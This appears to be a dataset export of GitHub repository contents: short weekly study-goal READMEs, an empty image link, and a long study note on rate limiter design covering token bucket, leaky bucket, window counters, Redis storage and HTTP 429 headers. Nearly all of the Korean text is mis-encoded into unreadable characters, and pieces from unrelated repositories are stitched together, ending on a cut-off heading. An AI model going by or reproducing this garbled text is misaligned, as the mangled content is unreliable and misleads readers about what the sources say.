repo
stringlengths 5
121
| content
stringlengths 35
2.09M
|
|---|---|
yujiasabrinaxie/DILI-Prediction-
|
yujiasabrinaxie/DILI-Prediction-
README.md
```# DILI-Prediction
```
|
yujin100b/stupid-week-2021
|
yujin100b/stupid-week-2021
README.md
```## ์ด๋ฒ์ฃผ ๋ชฉํ
1. ํ์ด์ฌ ์๊ณ ๋ฆฌ์ฆ ์ธํฐ๋ทฐ ๋ณต์ต
2. ๋ฐฑ์ค ์ ํ์ ๋์๊ฐ๋ฉฐ ํ๊ธฐ
3. ํ๋ก๊ทธ๋๋จธ์ค ๋ ๋ฒจ2 ํ๊ธฐ```
README.md
```## ์ด๋ฒ์ฃผ ๋ชฉํ
- [ ] TOPCIT ์ ๋ฆฌํ๊ธฐ
- [ ] ํด๋์ค101์ ํตํด ๋ฃ๋ ์์ด ๊ฐ์ ๋ฃ๊ธฐ
- [ ] DNS์ ์๋ ์๋ฆฌ ์ ๋ฆฌํ๊ธฐ```
README.md
```## ์ด๋ฒ์ฃผ ๋ชฉํ
1. Android MediaControl Notification ์ ๋ฆฌ
2. ํ ์ดํ๋ก์ ํธ ์งํ
3. ์๊ณ ๋ฆฌ์ฆ ๋ฌธ์ ํ์ด 3๋ฌธ์ ```
README.md
```## ์ด๋ฒ์ฃผ ๋ชฉํ
1. ํด๋ฆฐ ์ฝ๋ 9์ฅ ์ ๋ฆฌ
2. ํด๋ฆฐ ์ฝ๋ 10์ฅ ์ ๋ฆฌ
3. ์๊ณ ๋ฆฌ์ฆ 3๋ฌธ์ ์ด์ ํ๊ธฐ```
voca.md
```![์ถ์ํํฉ]()
```
README.md
```## ์ด๋ฒ์ฃผ ๋ชฉํ
1. ์๊ณ ๋ฆฌ์ฆ: LeetCode Weekly Contest 233 ๋์
2. ์์ด๊ณต๋ถ: ๋ค์ด๋ฒ์์ด, ๋งํด๋ณด์นด ๋์
3. JS ์ ๋ฆฌํ๊ธฐ
```
README.md
```# ์ด๋ฒ์ฃผ ๋ชฉํ
1. `NEXT_STEP TDD With JAVA` 2๋จ๊ณ, Lotto 2๋จ๊ณ(๊ฐ๋ฅํ๋ฉด 3๋จ๊ณ, 4๋จ๊ณ๊น์ง!)
2. SSAFY ์๊ณ ๋ฆฌ์ฆ ์คํฐ๋ ๋ฐฑ์ค ๋ฌธ์ (4๋ฌธ์ +a) ํ๊ธฐ
3. ๊น์ํ๋์ ์คํ๋ง ํต์ฌ์๋ฆฌ ๊ธฐ๋ณธํธ-์น์
2,3 ์ ๋ฆฌ
```
|
yujinchoi-94/TIL
|
yujinchoi-94/TIL
chap4.md
```# 4์ฅ ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น์ ์ค๊ณ
- Rate limiter: ํด๋ผ์ด์ธํธ ๋๋ ์๋น์ค๊ฐ ๋ณด๋ด๋ ํธ๋ํฝ์ ์ฒ๋ฆฌ์จ (rate)์ ์ ์ดํ๊ธฐ ์ํ ์ฅ์น
- HTTP๋ฅผ ์๋ก ๋ค๋ฉด, ํน์ ๊ธฐ๊ฐ ๋ด์ ์ ์ก๋๋ ํด๋ผ์ด์ธํธ์ ์์ฒญ ํ์๋ฅผ ์ ํํ๋ค. API ์์ฒญ ํ์๊ฐ threshold๋ฅผ ๋์ด์๋ฉด ์ถ๊ฐ๋ก ํธ์ถ์ ๋ชจ๋ block๋๋ค.
- eg)
- ์ฌ์ฉ์๋ ์ด๋น 2ํ ์ด์ ์๊ธ์ ์ฌ๋ฆด ์ ์๋ค
- ๊ฐ์ IP ์ฃผ์๋ก๋ ํ๋ฃจ์ 10๊ฐ ์ด์์ ๊ณ์ ์ ์์ฑํ ์ ์๋ค.
- ๋์
์ ์ฅ์
- DoS ๋ฐฉ์ง: ์ถ๊ฐ ์์ฒญ์ ๋ํด ์ฒ๋ฆฌ๋ฅผ ์ค๋จํจ์ผ๋ก์ DoS ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ค.
- ๋น์ฉ ์ ๊ฐ: ์ถ๊ฐ ์์ฒญ์ ๋ํ ์ฒ๋ฆฌ๋ฅผ ์ ํํจ์ผ์ ์๋ฒ๋ฅผ ๋ง์ด ๋ ํ์๊ฐ ์์ด์ง๊ณ , ์ฐ์ ์์๊ฐ ๋์ API์ ๋ ๋ง์ ์์์ ํ ๋นํ ์ ์๋ค. ํนํ third party API์ ์ฌ์ฉ๋ฃ๋ฅผ ์ง๋ถํ๊ณ ์๋ ํ์ฌ๋ค์๊ฒ ์์ฃผ ์ค์ํ๋ค. API ํธ์ถ์ ๋ฐ๋ผ ๊ณผ๊ธ์ด ๋ฐ์ํ๋ค๋ฉด, ๊ทธ ํ์๋ฅผ ์ ํํ ์ ์์ด์ผ ๋น์ฉ ์ ๊ฐ์ด ๊ฐ๋ฅํ๋ค.
- ์๋ฒ ๊ณผ๋ถํ ์๋ฐฉ: ๋ด์ด๋ ์ฌ์ฉ์์ ์๋ชป๋ ์ด์ฉ์ผ๋ก ์ธํ ํธ๋ํฝ์ ๊ฑธ๋ฌ๋ด๋๋ฐ Rate limiter๋ฅผ ํ์ฉํ ์ ์๋ค.
### 1๋จ๊ณ ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์
- ํด๋ผ์ด์ธํธ or ์๋ฒ ์ ํ ์ฅ์น?
- ์ ์ด ๊ธฐ์ค? IP ํน์ ์ฌ์ฉ์ ID?
- ์์คํ
์ ๊ท๋ชจ๋?
- ์์คํ
์ด ๋ถ์ฐ ํ๊ฒฝ์์ ๋์ํ๋์ง?
- ๋
๋ฆฝ์ ์ธ ์๋น์ค ์ธ์ง ์๋๋ฉด ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋ ๋ด์ ํฌํจ๋๋์ง?
- rate limiter์ ์ํด block๋ ๊ฒฝ์ฐ ์ฌ์ฉ์์๊ฒ ์๋ ค์ฃผ์ด์ผ ํ๋์ง?
#### ์๊ตฌ์ฌํญ
- ์ค์ ๋ ์ฒ๋ฆฌ์จ์ ๋์ด์๋ ์์ฒญ์ ์ ํํ๊ฒ ์ ํ
- ๋ฎ์ ์๋ต์๊ฐ
- ๊ฐ๋ฅํ ์ ์ ๋ฉ๋ชจ๋ฆฌ
- distributed rate limit: ํ๋์ ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๋ฅผ ์ฌ๋ฌ ์๋ฒ or ํ๋ก์ธ์ค์์ ๊ณต์ ํ ์ ์์ด์ผ
- ์์ธ ์ฒ๋ฆฌ: block๋์ ๋ ์ฌ์ฉ์์๊ฒ ์๋ ค์ค ๊ฒ
- fault tolerant
### 2๋จ๊ณ ๊ฐ๋ต์ ์ค๊ณ์ ์ ์ ๋ฐ ๋์ ๊ตฌํ๊ธฐ
๋ณต์กํ๊ฒ ๊ฐ์ง ๋ง๊ณ ๊ฐ๋จํ ํด๋ผ์ด์ธํธ-์๋ฒ ํต์ ๋ชจ๋ธ์ ์ฌ์ฉ
#### Rate limiter๋ ์ด๋์ ๋ ๊ฒ ์ธ๊ฐ?
- ํด๋ผ์ด์ธํธ ์ธก์ ๋ ๊ฒฝ์ฐ : ํด๋ผ์ด์ธํธ๋ rate limiter๋ฅผ ์ํ ์์ ์ ์ธ ์ฅ์๊ฐ ๋์ง ๋ชปํ๋ค. ํด๋ผ์ด์ธํธ์ ์์ฒญ์ ์ฝ๊ฒ ์ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํด์ ๋ชจ๋ ํด๋ผ์ด์ธํธ์ ๊ตฌํ์ ํต์ ํ๋ ๊ฒ๋ ์ด๋ ค์ธ ์ ์๋ค.
- ์๋ฒ ์ธก์ ๋ ๊ฒฝ์ฐ: rate limiter๋ฅผ ์๋ฒ์ ๋๋ ๋์ ๋ฏธ๋ค์จ์ด๋ก ํ์ฌ๊ธ API ์๋ฒ๋ก ๊ฐ๋ ์์ฒญ์ ํต์ ํ๋๋ก ํ ์๋ ์๋ค. ๋๋ฆฌ ์ฑํ๋ ๊ธฐ์ ์ธ ํด๋ผ์ฐ๋ ๋ง์ดํฌ๋ก์๋น์ค์ ๊ฒฝ์ฐ rate limiter๋ ๋ณดํต api gw์ ๊ตฌํ๋๋ค.
- rate limiter๋ฅผ ์ด๋์ ๋์ด์ผ ํ ์ง์๋ ์ ๋ต์ด ์๋ค. ๋ค๋ง, ์ผ๋ฐ์ ์ผ๋ก ์ ์ฉ๋ ์ ์๋ ๋ช๊ฐ์ง ์ง์นจ์ ๋์ดํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- ๊ธฐ์ ์คํ์ ์ ๊ฒํ๊ณ ํ์ฌ ์ฌ์ฉ ์ค์ธ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๊ฐ ์๋ฒ์ธก ๊ตฌํ์ ์ง์ํ๊ธฐ ์ถฉ๋ถํ ์ ๋๋ก ํจ์จ์ด ๋์์ง ํใ
๋ํ๋ผ
- ์ฌ์
ํ์์ ๋ง๋ rate limiter ์๊ณ ๋ฆฌ์ฆ์ ์ฐพ์๋ผ. ์๋ฒ์ธก์์ ๋ชจ๋ ๊ฒ์ ๊ตฌํํ ๊ฒฝ์ฐ ์๊ณ ๋ฆฌ์ฆ ์ ํ์ด ์์ ๋ก์ ์ง์ง๋ง, ์ 3์๊ฐ ์ ๊ณตํ๋ ๊ฒ์ดํธ์จ์ด๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ ์ ํ์ง๊ฐ ์ ํ๋ ์ ์๋ค.
- ์ค๊ณ๊ฐ ๋ง์ดํฌ๋ก์๋น์ค์ ๊ธฐ๋ฐํ๊ณ , ์ธ์ฆ, IP ํ์ฉ๋ชฉ๋ก ๊ด๋ฆฌ ๋ฑ์ ์ฒ๋ฆฌ๋ฅผ ์ํด api gw๋ฅผ ์ด๋ฏธ ์ค๊ณ์ ํฌํจ์์ผฐ๋ค๋ฉด rate limiter ๋ํ apigw์ ํฌํจ์์ผ์ผ ํ ์ ์๋ค.
- rate limiter๋ฅผ ๊ตฌํํ๋๋ฐ๋ ์๊ฐ์ด ๋ ๋ค. ๊ตฌํํ ์๊ฐ์ด ์๋ค๋ฉด ์์ฉ apigw๋ฅผ ์ฐ๋ ๊ฒ์ด ๋ฐ๋์งํ๋ค.
#### ์ฒ๋ฆฌ์จ ์ ํ ์๊ณ ๋ฆฌ์ฆ
1. ํ ํฐ ๋ฒํท : ๊ฐ์ฅ ๋ณดํธ์ ์ด๊ณ ๋๋ฆฌ ์ฌ์ฉ๋๋ค.
1. ํ ํฐ ๋ฒํท์ ์ง์ ๋ ์ฉ๋์ ๊ฐ๋ ์ปจํ
์ด๋์ด๋ค. ์ฌ์ ์ ์ค์ ๋ ์์ ํ ํฐ์ด ์ฃผ๊ธฐ์ ์ผ๋ก ์ฑ์์ง๊ณ , ํ ํฐ์ด ๊ฝ ์ฐจ์์ ๋๋ ๋ ์ด์ ํ ํฐ์ด ์ถ๊ฐ๋์ง ์๋๋ค. ํ ํฐ ๊ณต๊ธ๊ธฐ๊ฐ ์ฃผ๊ธฐ์ ์ผ๋ก ํ ํฐ์ ์ถ๊ฐํ๊ณ , ๋ฒํท์ด ๊ฐ๋ ์ฐผ์ ๋ ์ถ๊ฐ๋ ํ ํฐ์ ๋ฒ๋ ค์ง๋ค.
2. ๊ฐ ์์ฒญ์ ์ฒ๋ฆฌ๋ ๋๋ง๋ค ํ๋์ ํ ํฐ์ ์ฌ์ฉํ๋ค. ํ ํฐ์ด ์๋ ๊ฒฝ์ฐ ํ ํฐ์ ๊บผ๋ด ์์คํ
์ ์ ๋ฌํ๊ณ , ํ ํฐ์ด ์๋ ๊ฒฝ์ฐ ํด๋น ์์ฒญ์ ๋ฒ๋ ค์ง๋ค.
3. ์ด ์๊ณ ๋ฆฌ์ฆ์๋ ์ผ๋ฐ์ ์ผ๋ก ๋ฒํท ํฌ๊ธฐ, ํ ํฐ ๊ณต๊ธ๋ฅ (refil rate) ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๋๋ค.
4. ๋ฒํท์ ๋ช๊ฐ๋ ์ฌ์ฉํด์ผ ํ ์ง๋ ๊ณต๊ธ ์ ํ ๊ท์น์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ค.
1. ์ผ๋ฐ์ ์ผ๋ก API endpoint ๋ง๋ค ๋ณ๋์ ๋ฒํท์ ๋๋ค.
2. IP ์ฃผ์ ๋ณ๋ก rate limit์ ์ ์ฉํด์ผ ํ๋ค๋ฉด ๋ฒํท์ ip ๋ง๋ค ํ ๋น๋์ผ ํ๋ค.
3. ์์คํ
์ ์ฒ๋ฆฌ์จ์ ์ด๋น 10,000์ผ๋ก ์ ํํ๊ณ ์ถ์ผ๋ฉด, ๋ชจ๋ ์์ฒญ์ ํ๋์ ๋ฒํท์ ๊ณต์ ํ๋๋ก ํด์ผ ํ๋ค.
2. ๋์ถ ๋ฒํท: ํ ํฐ ๋ฒํท๊ณผ ์ ์ฌํ์ง๋ง, ์์ฒญ ์ฒ๋ฆฌ์จ์ด ๊ณ ์ ๋์ด ์๋ค. ๋ณดํต FIFO ํ๋ก ๊ตฌํํ๋ค.
1. ์์ฒญ์ด ๋์ฐฉํ๋ฉด ํ๊ฐ ๊ฐ๋์ฐจ์๋์ง ๋ณธ๋ค. ๋น์๋ฆฌ๊ฐ ์์ผ๋ฉด ํ์ ์ถ๊ฐํ๊ณ ๊ทธ๋ ์ง ์์ผ๋ฉด ์ ์์ฒญ์ ๋ฒ๋ฆฐ๋ค.
2. ์ง์ ๋ ์๊ฐ๋ง๋ค ํ์์ ์์ฒญ์ ๊บผ๋ด ์ฒ๋ฆฌํ๋ค.
3. ๋ฒํทํฌ๊ธฐ, ์ฒ๋ฆฌ์จ ๋ ์ธ์๋ฅผ ์ฌ์ฉํ๋ค.
1. ๋ฒํทํฌ๊ธฐ: ํ ์ฌ์ด์ฆ. ํ์๋ ์ฒ๋ฆฌ๋ ํญ๋ชฉ๋ค์ด ๋ณด๊ด๋๋ค.
2. ์ฒ๋ฆฌ์จ(outflow rate): ์ง์ ๋ ์๊ฐ๋น ๋ช ๊ฐ์ ํญ๋ชฉ์ ์ฒ๋ฆฌํ ์ง ์ง์ ํ๋ ๊ฐ์ด๋ค.
4. ์ฅ์
1. ํ์ ํฌ๊ธฐ๊ฐ ์ ํ๋์ด ์์ด ๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ๋ ์ธก๋ฉด์์ ํจ์จ์ ์ด๋ค.
2. ๊ณ ์ ๋ ์ฒ๋ฆฌ์จ์ ๊ฐ๊ณ ์์ด stable outflow rate์ด ํ์ํ ๊ฒฝ์ฐ์ ์ ํฉํ๋ค
5. ๋จ์
1. ๋จ์๊ฐ ๋ง์ ํธ๋ํฝ์ด ๋ชฐ๋ฆฌ๊ฒ ๋ ๊ฒฝ์ฐ ํ์ ์ค๋๋ ์์ฒญ๋ค์ด ์์ด๊ณ , ๊ทธ ์์ฒญ๋ค์ ์ ๋ ์ฒ๋ฆฌํ์ง ๋ชปํ๋ฉด ์ต์ ์์ฒญ๋ค์ ๋ฒ๋ ค์ง๊ฒ ๋๋ค.
2. ๋ ๊ฐ ์ธ์์ ํ๋์ด ๊น๋ค๋ก์ธ ์ ์๋ค.
3. ๊ณ ์ ์๋ ์นด์ดํฐ
1. ํ์ ๋ผ์ธ์ ๊ณ ์ ๊ฐ๊ฒฉ ์๋์ฐ๋ก ๋๋๊ณ , ๊ฐ ์๋๋ง๋ค ์นด์ดํฐ๋ฅผ ๋ถ์ธ๋ค.
2. ์์ฒญ์ด ์ ์๋ ๋ ๋ง๋ค ์นด์ดํฐ์ ๊ฐ์ด 1์ฉ ์ฆ๊ฐ๋๋ค. ์นด์ดํฐ์ ๊ฐ์ด threshold์ ๋๋ฌํ๋ฉด ์๋ก์ด ์์ฒญ์ ์ ์๋๊ฐ ์ด๋ฆด ๋๊น์ง ๋ฒ๋ ค์ง๋ค.
3. ์ฅ์
1. ๋ฉ๋ชจ๋ฆฌ ํจ์จ์ด ์ข๋ค.
2. ์ดํดํ๊ธฐ ์ฝ๋ค
3. ์๋๊ฐ ๋ซํ๋ ์์ ์ ์นด์ดํฐ๋ฅผ ์ด๊ธฐํํ๋ ๋ฐฉ์์ ํน์ ํ ํธ๋ํฝ ํจํด์ ์ฒ๋ฆฌํ๊ธฐ์ ์ ํฉํ๋ค.
4. ๋จ์
1. ์๋ ๊ฒฝ๊ณ ๋ถ๊ทผ์์ ์ผ์์ ์ผ๋ก ๋ง์ ํธ๋ํฝ์ด ๋ชฐ๋ฆฌ๋ ๊ฒฝ์ฐ, ๊ธฐ๋ํ๋ ์์คํ
์ ์ฒ๋ฆฌํ๋๋ณด๋ค ๋ ๋ง์ ์์ ์์ฒญ์ ์ฒ๋ฆฌํ๊ฒ ๋๋ค.
4. ์ด๋ ์๋ ๋ก๊ทธ
1. ์๋ ๊ฒฝ๊ณ ๋ถ๊ทผ์ ํธ๋ํฝ์ด ์ง์ค๋๋ ๊ฒฝ์ฐ ์์คํ
์ ์ค์ ๋ ํ๋๋ณด๋ค ๋ง์ ์์ฒญ์ ์ฒ๋ฆฌํ๊ฒ ๋๋ค๋ ๊ณ ์ ์๋ ์นด์ดํฐ์ ์ค๋ํ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋ค.
2. ์์ฒญ์ ํ์์คํฌํ๋ฅผ ์ถ์ ํ๋ค. ํ์์คํฌํ ๋ฐ์ดํฐ๋ ๋ณดํต ๋ ๋์ค์ ์ ๋ ฌ ์งํฉ ๊ฐ์ ์บ์์ ๋ณด๊ดํ๋ค.
3. ์ ์์ฒญ์ด ์ค๋ฉด ๋ง๋ฃ๋ ํ์์คํฌํ๋ฅผ ์ ๊ฑฐํ๋ค. ๋ง๋ฃ๋ ํ์์คํฌํ๋ ๊ทธ ๊ฐ์ ์์์ด ํ์ฌ ์๋์ ์์ ์์ ๋ณด๋ค ์ค๋๋ ํ์์คํฌํ๋ฅผ ๋งํ๋ค.
4. ์ ์์ฒญ์ ํ์์คํฌํ๋ฅผ ๋ก๊ทธ์ ์ถ๊ฐํ๋ค.
5. ๋ก๊ทธ์ ํฌ๊ธฐ๊ฐ ํ์ฉ์น๋ณด๋ค ๊ฐ๊ฑฐ๋ ์์ผ๋ฉด ์์ฒญ์ ์์คํ
์ ์ ๋ฌํ๊ณ , ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ์๋ ์ฒ๋ฆฌ๋ฅผ ๊ฑฐ๋ถํ๋ค.
6. ์ฅ์
1. ์ ๊ตํ ๋ฉ์ปค๋์ฆ ๋๋ถ์ ์ด๋ ์๊ฐ์ ์๋๋ฅผ ๋ณด๋๋ผ๋ ํ์ฉ๋๋ ์์ฒญ์ ๊ฐ์๋ ์์คํ
์ ์ฒ๋ฆฌ ํ๋๋ฅผ ๋์ง ์๋๋ค.
7. ๋จ์
1. ๊ฑฐ๋ถ๋ ์์ฒญ์ ํ์์คํฌํ๋ ๋ณด๊ดํ๊ธฐ ๋๋ฌธ์ ๋ค๋์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ค.
5. ์ด๋ ์๋ ์นด์ดํฐ
1. ๊ณ ์ ์๋ ์นด์ดํฐ์ ์ด๋ ์๋ ์๊ณ ๋ฆฌ์ฆ์ ๊ฒฐํฉ
#### ๊ฐ๋ต์ ์ธ ์ํคํ
์ฒ
- rate limit ์๊ณ ๋ฆฌ์ฆ์ ๊ธฐ๋ณธ ์์ด๋์ด๋ ๋จ์ํ๋ค.
- ์ผ๋ง๋ ๋ง์ ์์ฒญ์ด ์ ์๋์๋์ง๋ฅผ ์ถ์ ํ ์ ์๋ ์นด์ดํฐ๋ฅผ ์ถ์ ๋์๋ณ๋ก ๋๊ณ (์ฌ์ฉ์ ๋ณ? IP๋ณ? API ์๋ํฌ์ธํธ๋ ์๋น์ค ๋จ์๋ณ?) ์ด ์นด์ดํฐ์ ํ๋๋ฅผ ๋์ด์ ๋์ฐฉํ ์์ฒญ์ ๊ฑฐ๋ถํ๋ ๊ฒ์ด๋ค.
- ์ด ์นด์ดํฐ๋ฅผ ์ด๋์ ๋ณด๊ดํ ๊น?
- DB: ๋์คํฌ ์ ๊ทผ ๋๋ฌธ์ ๋๋ฆฌ๋๊น ์ฌ์ฉ X
- ๋น ๋ฅธ๋ฐ๋ค๊ฐ ์๊ฐ์ ๊ธฐ๋ฐํ ๋ง๋ฃ ์ ์ฑ
์ ์ง์ํ๋ ๋ฉ๋ชจ๋ฆฌ ์์์ ๋์ํ๋ ์บ์๊ฐ ๋ฐ๋์งํ๋ค.
- ์ผ๋ก๋ก, ๋ ๋์ค๋ rate limiter๋ฅผ ๊ตฌํํ ๋ ์์ฃผ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ๊ธฐ๋ฐ ์ ์ฅ์ฅ์น์ด๋ค.
- ๋์ ์๋ฆฌ
- ํด๋ผ์ด์ธํธ๊ฐ rate limiting middleware์ ์์ฒญ์ ๋ณด๋ธ๋ค.
- ๋ฏธ๋ค์จ์ด๋ ๋ ๋์ค์ ์ง์ ๋ฒํท์์ ์นด์ดํฐ๋ฅผ ๊ฐ์ ธ์ ํ๋์ ๋๋ฌํ๋์ง๋ฅผ ํ์ธํ๋ค.
- ํ๋์ ๋๋ฌํ๋ค๋ฉด ์์ฒญ์ ๊ฑฐ๋ถํ๋ค.
- ํ๋์ ๋๋ฌํ์ง ์์๋ค๋ฉด ์์ฒญ์ API ์๋ฒ๋ก ์ ๋ฌํ๋ค. ํํธ, ๋ฏธ๋ค์จ์ด๋ ์นด์ดํฐ์ ๊ฐ์ ์ฆ๊ฐ์ํจ ํ ๋ค์ ๋ ๋์ค์ ์ ์ฅํ๋ค.
### 3๋จ๊ณ ์์ธ์ค๊ณ
์์ ์ํคํ
์ฒ๋ก๋ ์ฒ๋ฆฌ์จ ์ ํ ๊ท์น์ด ์ด๋์ ๋ง๋ค์ด์ง๊ณ ์ ์ฅ๋๋์ง, ์ฒ๋ฆฌ๊ฐ ์ ํ๋ ์์ฒญ๋ค์ด ์ด๋ป๊ฒ ์ฒ๋ฆฌ๋๋์ง์ ๋ํด ์ ์๊ฐ ์๋ค.
#### ์ฒ๋ฆฌ์จ ์ ํ ๊ท์น
๋ณดํต ์ค์ ํ์ผ ํํ๋ก ๋์คํฌ์ ๋ณด๊ดํ๋ค.
#### ์ฒ๋ฆฌ์จ ํ๋ ์ด๊ณผ ํธ๋ํฝ์ ์ฒ๋ฆฌ
์์ฒญ์ด ํ๋ ์ ํ์ ๊ฑธ๋ฆฌ๋ฉด API๋ HTTP 429 ์๋ต์ ํด๋ผ์ด์ธํธ์๊ฒ ๋ณด๋ธ๋ค. ๊ฒฝ์ฐ์ ๋ฐ๋ผ์ ํ๋ ์ ํ์ ๊ฑธ๋ฆฐ ๋ฉ์์ง๋ฅผ ๋์ค์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ํ์ ๋ณด๊ดํ ์๋ ์๋ค.
##### ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๊ฐ ์ฌ์ฉํ๋ HTTP ํค๋
ํด๋ผ์ด์ธํธ๋ ์๊ธฐ ์์ฒญ์ด ์ฒ๋ฆฌ์จ ์ ํ์ ๊ฑธ๋ฆฌ๊ณ ์๋์ง๋ฅผ (throttle) ์ด๋ป๊ฒ ๊ฐ์งํ ์ ์๋? ์๊ธฐ ์์ฒญ์ด ์ฒ๋ฆฌ์จ ์ ํ์ ๊ฑธ๋ฆฌ๊ธฐ๊น์ง ์ผ๋ง๋ ๋ง์ ์์ฒญ์ ๋ณด๋ผ ์ ์๋์ง ์ด๋ป๊ฒ ์ ์ ์๋? ๋ต์ HTTP ์๋ต ํค๋์ ์๋ค.
์ด๋ฒ ์ฅ์์ ์ค๊ณํ๋ ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๋ ๋ค์์ HTTP ํค๋๋ฅผ ํด๋ผ์ด์ธํธ์๊ฒ ๋ณด๋ธ๋ค.
- `X-Ratelimiting-Remaining`: ์๋ ๋ด์ ๋จ์ ์ฒ๋ฆฌ ๊ฐ๋ฅ ์์ฒญ์ ์
- `X-Ratelimiting-Limit`: ๋งค ์๋๋ง๋ค ํด๋ผ์ด์ธํธ๊ฐ ์ ์กํ ์ ์๋ ์์ฒญ์ ์
- `X-Ratelimiting-Retry-After`: ํ๋ ์ ํ์ ๊ฑธ๋ฆฌ์ง ์์ผ๋ ค๋ฉด ๋ช ์ด ๋ค์ ์์ฒญ์ ๋ค์ ๋ณด๋ด์ผ ํ๋์ง ์๋ฆผ
#### ์์ธ ์ค๊ณ
- ์ฒ๋ฆฌ์จ ์ ํ ๊ท์น์ ๋์คํฌ์ ๋ณด๊ดํ๋ค. ์์
ํ๋ก์ธ์ค๋ ์์๋ก ๊ท์น์ ๋์คํฌ์์ ์ฝ์ด ์บ์์ ์ ์ฅํ๋ค.
- ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ์ ์๋ฒ์ ๋ณด๋ด๋ฉด ๋จผ์ ์ฒ๋ฆฌ์จ ์ ํ ๋ฏธ๋ค์จ์ด์ ๋์ฐฉํ๋ค.
- ์ฒ๋ฆฌ์จ ์ ํ ๋ฏธ๋ค์จ์ด๋ ์ ํ ๊ท์น ๋ฑ์ ์บ์์์ ๊ฐ์ ธ์จ๋ค. ๊ฐ์ ธ์จ ๊ฐ๋ค์ ๊ทผ๊ฑฐํ์ฌ ํด๋น ๋ฏธ๋ค์จ์ด๋ ์์ฒญ์ ๋ฒ๋ฆด์ง ๋ง์ง ๊ฒฐ์ ํ๋ค.
- ์ฒ๋ฆฌ์จ ์ ํ์ ๊ฑธ๋ ค ์์ฒญ์ ๋ฒ๋ฆฌ๋ฉด 429 ์๋ฌ๋ฅผ ํด๋ผ์ด์ธํธ์ ๋ณด๋ธ๋ค. ์์ฒญ์ ๊ทธ๋๋ก ๋ฒ๋ฆด์๋, ๋ฉ์์ง ํ์ ๋ณด๊ดํ ์๋ ์๋ค.
- ์ฒ๋ฆฌ์จ ์ ํ์ ๊ฑธ๋ฆฌ์ง ์์๋ค๋ฉด API ์๋ฒ๋ก ๋ณด๋ธ๋ค.
#### ๋ถ์ฐ ํ๊ฒฝ์์ ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น์ ๊ตฌํ
- ๊ฒฝ์ ์กฐ๊ฑด
- ๋๊ธฐํ
- ์ ๋๊ฐ์ง ๋ฌธ์ ๋ฅผ ํด๊ฒฐํด์ผ ํ๋ค.
##### ๊ฒฝ์์กฐ๊ฑด
๋ ๋์ค์์ ์นด์ดํฐ๋ฅผ ์ฝ๊ณ , ๊ฐ์ ์ฆ๊ฐํ๋ ๊ณผ์ ์์ ๊ฒฝ์ ์กฐ๊ฑด ์ด์๊ฐ ๋ฐ์ํ ์ ์๋ค. ์ด๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ ๋ฝ์ด์ง๋ง, ๋ฝ์ ์์คํ
์ ์ฑ๋ฅ์ ์๋นํ ๋จ์ดํธ๋ฆฐ๋ค. ์ ์ค๊ณ์์ ๋ฝ ๋์ ์ฌ์ฉํ ์ ์๋ ํด๊ฒฐ์ฑ
์ ๋ฃจ์ ์คํฌ๋ฆฝํธ์ด๊ณ ๋ค๋ฅธ ํ๋๋ sorted set์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋ ๋์ค ์๋ฃ ๊ตฌ์กฐ๋ฅผ ์ฐ๋ ๊ฒ์ด๋ค.
##### ๋๊ธฐํ ์ด์
์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๋ฅผ ์ฌ๋ฌ๊ฐ ๋๋ฉด ๋๊ธฐํ๊ฐ ํ์ํด์ง๋ค. ์ฌ๋ฌ ํด๋ผ์ด์ธํธ์์ ์์ฒญ์ ๋ณด๋ผ ๊ฒฝ์ฐ ์น๊ณ์ธต์ stateless์ด๋ฏ๋ก ํด๋ผ์ด์ธํธ์ ์์ฒญ์ด ๊ฐ๊ฐ ๋ค๋ฅธ ์ ํ ์ฅ์น๋ก ๋ณด๋ด์ง ์ ์๋ค. ์ด ๋ ๋๊ธฐํ๋ฅผ ํ์ง ์๋๋ค๋ฉด ์ ํ ์ฅ์น๋ ์๋ก์ ๋ํด ์์ง ๋ชปํ๋ฏ๋ก ์ฒ๋ฆฌ์จ ์ ํ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ํํ ์ ์๋ค.
์ด ๋ ํ๊ฐ์ง ๋ฐฉ๋ฒ์ sticky session์ ํ์ฉํ์ฌ ๋์ผ ํด๋ผ์ด์ธํธ์ ์์ฒญ์ ํญ์ ๊ฐ์ ์ฒ๋ฆฌ์จ ์ ํ ์ฅ์น๋ก ๊ฐ๊ฒํ๋ ๊ฒ์ธ๋ฐ, ์ด๋ ๊ท๋ชจ๋ฉด์์ ํ์ฅ๊ฐ๋ฅํ์ง ์๊ณ ์ ์ฐํ์ง๋ ์๊ธฐ ๋๋ฌธ์ ์ถ์ฒํ์ง ์๋๋ค. ๋ ๋์ ํด๊ฒฐ์ฑ
์ ๋ ๋์ค์ ๊ฐ์ ์ค์ ์ง์คํ ๋ฐ์ดํฐ ์ ์ฅ์๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด๋ค.
```
02.md
```# 2์ฅ ๋ฐ์ดํฐ ๋ชจ๋ธ๊ณผ ์ง์ ์ธ์ด
